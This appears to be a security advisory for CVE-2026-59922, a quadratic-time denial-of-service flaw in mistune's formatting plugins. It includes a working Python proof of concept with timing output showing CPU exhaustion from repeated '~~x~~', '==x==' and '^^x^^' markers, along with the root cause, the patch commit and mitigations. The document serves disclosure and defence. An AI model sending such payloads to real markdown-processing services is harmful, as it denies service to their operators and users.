CVE-2026-59922: mistune Quadratic Parsing DoS in Formatting Plugins
Mistune's strikethrough, mark, and insert plugins parse repeated marker pairs (~~x~~, ==x==, ^^x^^) in O(N²) time, so a small crafted markdown string can peg the CPU for seconds and deny service to…
The problem
In src/mistune/plugins/formatting.py, the _STRIKE_END, _MARK_END, and _INSERT_END regexes are each invoked at every potential opening marker position. For an input of N closed pairs like ~~x~~ repeated N times, the parser fires a forward close-scan at every ~~ token.
Each scan covers up to the end of input, giving N starts times O(N) work per scan, for O(N²) total.
The attack requires no authentication and no special privileges. Any endpoint that calls mistune.create_markdown(plugins=['strikethrough']) (or mark / insert) on user-supplied text is affected. An 8 KB payload pegs the CPU for ~4 seconds; 16 KB raises that to ~17 seconds.
Doubling input quadruples cost.
Proof of concept
A working proof-of-concept for CVE-2026-59922 in mistune, with the exact payload below.
import mistune, time
# Trigger against any of the three affected plugins
md = mistune.create_markdown(plugins=['strikethrough'])
for n in [500, 1000, 2000, 4000, 8000]:
s = '~~x~~' * n
t = time.time()
md(s)
print(f'~~x~~ * {n} ({len(s)}b): {(time.time()-t)*1000:.0f}ms')
# Expected output on mistune < 3.3.0 (Python 3.13, 2.5 GHz):
# ~~x~~ * 500 (2500b): 19ms
# ~~x~~ * 1000 (5000b): 71ms
# ~~x~~ * 2000 (10000b): 272ms
# ~~x~~ * 4000 (20000b): 1090ms
# ~~x~~ * 8000 (40000b): 4302ms
# Same O(N^2) scaling for mark and insert:
# mistune.create_markdown(plugins=['mark'])('==x==' * 4000) # ~1100ms
# mistune.create_markdown(plugins=['insert'])('^^x^^' * 4000) # ~1080ms
# Without any plugin, identical input is linear (4ms for 4000 reps).The root cause (CWE-407 / CWE-1333) is a missing memoization or cap on open-marker tracking. Each ~~, ==, or ^^ token triggers a fresh forward scan via _STRIKE_END / _MARK_END / _INSERT_END. The individual regex is bounded, but the parser-level loop retries it at every marker position, producing N scans of up to N length each.
The patch in commit 96d0f57 (v3.3.0) addresses this by bounding the number of concurrently tracked unmatched markers, so extra markers beyond the cap are emitted as literal text without triggering additional scans. The fix keeps parsing linear in input size regardless of how many unmatched pairs appear.
A proper long-term alternative is a single-pass delimiter-stack algorithm, as used by markdown-it-py and commonmark-py for emphasis.
The fix
Upgrade to mistune 3.3.0 (pip install 'mistune>=3.3.0'). The fix is in commit 96d0f57f8fe9eeb06bb4cff521962a27d7c402e7. If you cannot upgrade immediately, remove or disable the strikethrough, mark, and insert plugins, or add an application-level input length cap (for example, reject markdown inputs longer than 4 KB until you can patch).
Related research
- high · 7.5CVE-2026-59928CVE-2026-59928: mistune Quadratic-Time ReDoS via Reference-Link Definitions
- high · 7.5CVE-2026-49851CVE-2026-49851: mistune Quadratic-Time DoS in parse_link_text
- high · 7.5CVE-2026-67422CVE-2026-67422: pymdown-extensions ReDoS in caret, tilde, betterem, and magiclink
- high · 8.2CVE-2026-53500CVE-2026-53500: thumbor ALLOWED_SOURCES Regex Wildcard SSRF Bypass